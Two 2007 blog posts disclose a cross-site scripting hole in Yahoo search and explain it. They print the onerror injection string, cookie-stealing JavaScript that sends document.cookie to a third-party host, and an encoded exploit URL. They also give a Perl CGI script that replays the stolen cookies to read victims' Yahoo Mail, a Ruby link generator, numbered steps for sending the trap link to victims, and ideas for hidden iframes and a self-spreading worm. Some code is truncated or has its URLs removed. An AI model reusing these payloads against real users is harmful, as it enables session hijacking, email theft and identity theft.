Monday, June 25, 2007

Technical Explanation of Yahoo XSS flaw

Several days ago, I released a proof of concept to demonstrate how to exploit a simple "Cross-site scripting" (XSS) hole at Yahoo's web site. This PoC allowed anyone to steal a poor bastard's online identity and email. I can see that from the comments on my exploit post and comments on the slashdot post that the technical details are confusing to many.

XSS is both simple and complex. The idea of javascript injection is not very complicated to programmers, especially if they're already familiar with SQL injections. But the damage that a particular XSS hole opens up a site to and the actual process of exploiting that hole are not always clear-cut: the technical details vary, the sites may have different levels of protection, and tricks may be needed to overcome browser incompatibilities and other constraints.

The Trap

I'll start out with a general description of the trap set up by the exploit and why it's so easy to fall into it. By the way, the trap in my proof of concept was tested to work on all major Firefox and IE browser versions with default settings.

With the PoC as I presented it, the victim would have to somehow navigate to a somewhat suspicious-looking link, a criticism that many claim makes the exploit less realistic. But the link can be masked through a myriad of ways. You could for instance create a webpage with a hidden iframe that automatically and silently visits the XSS url, and voila: the user has just been hit by the XSS exploit without even knowing it or seeing any suspicious URLs. As one commenter suggested, you could insert and disguise this link on the MySpace profile of "some hot girl" (tm).

The exploit could also be made into a worm for maximal spread. When a user falls victim to it by visiting the malicious link, their account would be used to send copies of the malicious link to all their contacts at Yahoo Mail or Yahoo IM.

JavaScript Injection

Let's get into the technical details of how the exploit functions. The technique this XSS hole used is called "javascript injection." What you need is a vulnerable page on the target web site that takes input data from the browser, i.e. the victim, but that doesn't properly clean up the inputs of malicious characters. When you find a page that accepts query string parameters via the URL or a form results page that accepts form parameters, you test the page for vulnerabilities by sending unexpected input data and check if the back-end code neglects to clean up the input data before sending it inside the page's HTML source back to the user's browser.

In the case of my PoC, the form field was the "all of these words" field in Yahoo's Advanced Web Search form. By appending ?p=anything to you can see that whatever you put after will show up in the results page's textbox. Normally, yahoo's backend is supposed to filter and escape user-generated input like this. But in this case, their input filter was not foolproof, and this is what allowed us to inject javascript into the page. The string which circumvented their filter was
<img src=14_invalid_crap onerror=OUR_MALICIOUS_JAVASCRIPT>
What this did was insert an img tag into the page with an invalid src url which triggered the onerror javascript event which executed our malicious javascript.

Cross-site cookie theft

The malicious JS has only one purpose: to send the user's Yahoo cookies to the attacker. With JS you can grab all the cookies from the web site that the user is visiting by calling document.cookie. And in my PoC, the transport mechanism to send all the user's cookies to an outside site is simply via an img or iframe tag inserted into the document. This tag references a URL with a query string that includes the grabbed cookies. The URL points to a CGI script on a 3rd-party web site; hence, the "cross-site" in "cross-site scripting." This CGI script is then free to do whatever it wants with these cookies, including impersonating the victim. For example, the malicious JS could be something like:
document.write('<img src='+escape(document.cookies)+'/>')
This is the most common structure of XSS exploits, and this PoC is not much different. For a well-working portable XSS exploit, however, a few tweaks may be necessary.

In our case the Yahoo cookies were very long and exceeded Internet Explorer's maximum URL length for a GET request (interestingly, Firefox did not suffer from this limitation--its maximum length must be greater). So I used a different approach and hijacked the actual search form so that a POST request could be used instead of GET, since a POST request has no maximum data length. The JS to do this was very simple:
f = document.forms[0]
f.method = 'POST'
f.action = ''
f.x.value = document.cookie

Identity Theft

In our PoC, the CGI script on the 3rd party site happens to be written in Perl but could have been written in any server-side language. Once it reads in the value of the cookies passed on by the malicious JS, it is free to act as a web browser with these cookies set and navigate to Yahoo Mail pretending to be the victim.

What the PoC actually did for demonstration purposes was grab your latest email and display it back to you, to prove that the identity was stolen. What the CGI script could have done is use the cookies to download all your email or addressbok to harvest any private information contained within your account. This is what malicious hackers do all the time with XSS holes and it goes unnoticed.

By the way, a few portability tweaks were necessary to function for both classic Yahoo Mail and Yahoo Mail Beta.

Single Sign-On Architecture

One thing you may have noticed is that the XSS hole was found on the Yahoo search page, but the PoC attacks the victim's Yahoo Mail account. If these sites are separate, how is this possible? The answer has to do with Yahoo's single sign-on (SSO) architecture: most large web sites want all their services accessible through one login, which is normally very convenient for users as they don't have to keep logging in every time they switch from Yahoo Mail to Yahoo Photos to Yahoo IM.

However, the way that Yahoo has it set up makes things a little insecure. Other Yahoo services may differ but at least Mail and Search are designed in the following way: all the cookies necessary to access both these services are the same. In other words, if you grab the cookies using an XSS hole in one service, you can now access the other. All Yahoo's cookies have a domain of and a path of '/'. Specifically, this means that if there is some vulnerability that allows you to grab cookies on any site that matches **, you'll be able to access all yahoo services as that user.

XSS URL generation

The Ruby script from the proof of concept is only a utility program to generate the XSS URL one time. You would run this script (which could have been written in any language) on any of your machines and never run it again--no victim would execute that code. The reason the XSS URL needs to be generated is because the URL needs to be in format that circumvents whatever input filters Yahoo may have, i.e. a format that hides the fact that it contains malicious JavaScript code.

The input to the Ruby script is the location of the 3rd party web site where the CGI script resides; the output is the XSS URL that you would send to potential victims as a trap. For our PoC, since we did not actually host the malicious CGI script anywhere, there was no real XSS URL to show. But as an example, if the URL were hosted on, the Ruby script would generate the following XSS URL:,61,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,48,93,59,102,46,109,101,116,104,111,100,61,39,80,79,83,84,39,59,102,46,97,99,116,105,111,110,61,39,104,116,116,112,58,47,47,115,99,114,105,112,116,107,105,100,100,105,101,115,46,111,114,103,47,121,111,117,118,101,103,111,116,109,97,105,108,46,99,103,105,39,59,102,46,120,46,118,97,108,117,101,61,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,102,46,115,117,98,109,105,116,40,41))%3E&y=Search&fr=yfp-t-501

The decimal numbers are simply the ASCII values of each character of the javascript code. The String.fromCharCode() function converts the masked characters back to javascript code that can be interpreted by the victim's browser. The eval() function simply makes sure to execute the converted JS code, since there already would have been one pass which would execute the javascript String.fromCharChode() function. This little roundabout choreography adds up to a dance around Yahoo's input filters. I suspect that in the future fromCharCode will be added to many websites' input filters as it is a very common source of XSS holes.

- Rarely Greys <rarely.greys at (Google's mail)>

Thursday, June 14, 2007

Yahoo defect endangers users -- do web sites care?

  • Critical cross-site scripting (XSS) defect in Yahoo services is discovered
  • Proof of concept of exploit is included
  • XSS bugs are on the rise because of web 2.0+
  • The web industry is mostly negligent about dealing with XSS

XSS Defects

"I used to act dumb. That act is no longer cute." This is what the re-jailed Paris Hilton said to Barbara Walters from behind penis-painted bars last Sunday. And with these words, Paris demonstrated that she is smarter and has more class than the web sites you have come to rely on every day. This doesn'’t say much about Paris, but it says a hell of a lot about the billion-dollar companies that safeguard your data and identity.

Who else should be putting an end to the dumb act? How about Yahoo, the number one provider of email in the universe, with over 250 million users worldwide?

Every day, hundreds of defects known as "cross-site scripting," or XSS for short, are discovered on web sites every day. (This is not even counting all those that don’t get disclosed.) And the peanut butter eating yahoos in Yahoo’s development organization are not immune to coding up such so-called XSS bugs.

"Cross-site scripting" is the top security risk facing the web today. The biggest danger is that so few web sites actually care enough to guard against it; and those that do care like the big internet companies, e.g. Yahoo, Google, AOL, often make mistakes. And a single mistake can be devastating to vast numbers of users.

XSS Demonstration at Yahoo! Mail

Allow me to demonstrate how dangerous XSS can be. Let’s imagine you’re checking your Yahoo Mail and you see an interesting email, maybe one from a friend of yours or one that peddles medication for the enlargement of your ears. Inside the email is contained an innocuous-looking link that looks like a Yahoo search page, something like You click on it... Now why the hell did you do that? You are now screwed.

That’s right: an attacker would now have complete access to your Yahoo account. All because you clicked on one link.

This is not fantasy. The simple code to take over anyone's Yahoo account is included at the bottom fo this article. If you were to visit this naughty link, your web browser would show the last email in your inbox displayed on a web site that is not part of Yahoo. What the simple link does is allow a program to navigate through your email account pretending to be you and download emails onto the attacker’s web site, allowing them to read all your conversations with iheartsanjaya3 you met on myspace.

But that’s not all that could happen. The attacking program could obtain your entire address-book, supplementing spammers'’ lucrative database of spam victims. And thanks to Yahoo’s recent integration of instant messaging within its web-mail site, it could also send instant messages to your friends impersonating you. ("You wanna do what to me?!") Many of your online accounts would then become vulnerable as well, since the attacker would have access to your password-resetting emails; this potentially means access to your financial accounts. All other Yahoo services that you use are also at risk, including Yahoo Photos or Flickr.

Worst of all, the simple act of clicking that link could allow an attacker to automatically send emails or instant messages as you to all your contacts containing the very same link, thus rapidly spreading the attack through your social network in a devastating epidemic known in the industry as a "worm." Within hours, millions of users’ accounts could be compromised.

Web Developer Ignorance and Web Company Complacency

Given how painful a "cross-site scripting" attack can be, its acronym should have been "ASS" instead of "XSS". Yet the developers behind the web applications you use every day often do not know what they are or do not care.

Why don’t web sites care enough? Because on the surface these vulnerabilities do not jeopardize the security of the entire company and such hacks are not as glamorous as high-profile break-ins where millions of social security numbers are stolen. But in reality, an XSS defect can be just as devastating to a site’s user base and extremely traumatic to any single user whose identity and privacy are violated.

Web developers are not keeping up with the increasing risks. While awareness of the risks of XSS and other dangers such as "Cross-Site Request Forgery" (CSRF) is on the rise, there are still many key developers who have never heard of these errors. Blame lack of developer training. The fact is that no developer should be allowed to touch code for a web site without undergoing a thorough education in protecting users from XSS. But the current situation is that web companies assume that their developers are "smart" enough to guard against it. The reality is that this is not a question of smarts, but a question of education and code review process, which are lacking on the web today.

There are a number of disturbing trends that are making the problem worse. The first is the constant push for the integration of many web services behind a single login. Because web conglomerates such as Yahoo and Google offer so many services under one roof, the chance that at any given time someone has left unlocked any of hundreds of doors has reached unacceptable levels. The online privacy and security of users hang precariously on a deck of cards.

The second exacerbating trend is the world of "user-generated content" (UGC). In today’s web 2.0, users are often allowed to generate content for a web site that other users will see. It’s now very easy for hackers to find ways to implant malicious exploits in the pages of innocent viewers.

Yet another trend is that applications are moving from the desktop to the web, as exemplified by Google Docs & Spreadsheets.

Next steps

Will the situation improve? It's up to the web companies to train their web developers and to institute processes to make sure that web application vulnerabilities like XSS and CSRF don't endanger their users.

As for users, your online privacy and security are always at risk. At any given moment, you can lose both, through no fault of yours.

Exploit Code

An attack is frighteningly easy to carry out.

  1. You find a hosting company to run your perl CGI script
  2. You install the code listed below on your web site
  3. You take the address that points to that CGI script and run it through the Ruby script included below in order to generate a link to Yahoo's XSS vulnerability
  4. You send out emails with that link to your best friend, or everyone on Yahoo if you're a loser and have no friends
Note: if you happen to be able to host this script and want to show everyone the proof of concept in action, please post a comment to this article with your generated link to the Yahoo XSS exploit.

Code to be hosted:


use CGI;
use CGI::Carp qw(fatalsToBrowser);
use URI::Escape;
use HTTP::Cookies;
use HTML::Entities;
use LWP::UserAgent;

$q = new CGI;

print "Content-type: text/html\n\n";

$cookies = uri_unescape($q->param('x'));
@cookies = split(/; /, $cookies);

$cj = HTTP::Cookies->new;

foreach $c (@cookies) {
$c =~ /^([^=]+)=(.*)$/;
$k = $1; $v = $2;
$cj->set_cookie('', $k, $v, "/", "");

$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20070515 Firefox/');

$r = $ua->simple_request(HTTP::Request->new(GET => ""));
$r->header('Location') =~ /https?:\/\/([^\/]+)/;
$host = $1;

$r = $ua->get("http://$host/ym/ShowFolder?rb=Inbox");
if (!($r->content =~ /<a[^>]+id="folderviewmsg0subjlink"[^>]+href="([^"]+)/is)) {
$url = "http://$host/ws/mail/v1/formrpc?m=ListMessages&appid=YahooMailRC&fid=Inbox&transform-markup=remove-javascript&startMid=0&numMid=300&startInfo=0&numInfo=30&sortKey=date&sortOrder=down";
$r = $ua->get($url);
$r->content =~ /<url>\s*([^>]+)\s*/si;

$r = $ua->get(decode_entities($1));
$r->content =~ /<mid>(.+?)<\/mid>/si;
$mid = $1;
$url = "http://$host/ws/mail/v1/formrpc?m=GetMessage&appid=YahooMailRC&fid=Inbox&message(0)-mid=$mid&message(0)-enableWarnings=true&message(0)-expandCIDReferences=true&message(0)-blockImages=all&truncateAt=1024000&transform-markup=remove-javascript&wssid=yr7G07oSPsarq&amp;r=0.655461233731633";
$r = $ua->get($url);
if ($r->content =~ /<url>\s*([^<]+)\s*/si)
$r = $ua->get(decode_entities($1));
if ($r->content =~ /<part[^>]+subtype="html"[^<]+<text>(.+?)<\/text/si) {
print decode_entities($1);
} elsif ($r->content =~ /<part[^>]+type="text"[^<]+<text>(.+?)<\/text/si) {
print decode_entities($1);
} else {
$r = $ua->get("http://$host$1&PRINT=1");
$r->content =~ /(<div id="message.+?<\/div>)\s*<script>/si;
print $1;

Code to generate Yahoo XSS exploit link:



x = %Q{

s = %q{}
s += x.strip.split(//).map{|s|s[0]}.join(",")
s += %q{))%3E&y=Search&fr=yfp-t-501}

puts s

- Rarely Greys <rarely.greys at (Google's mail)>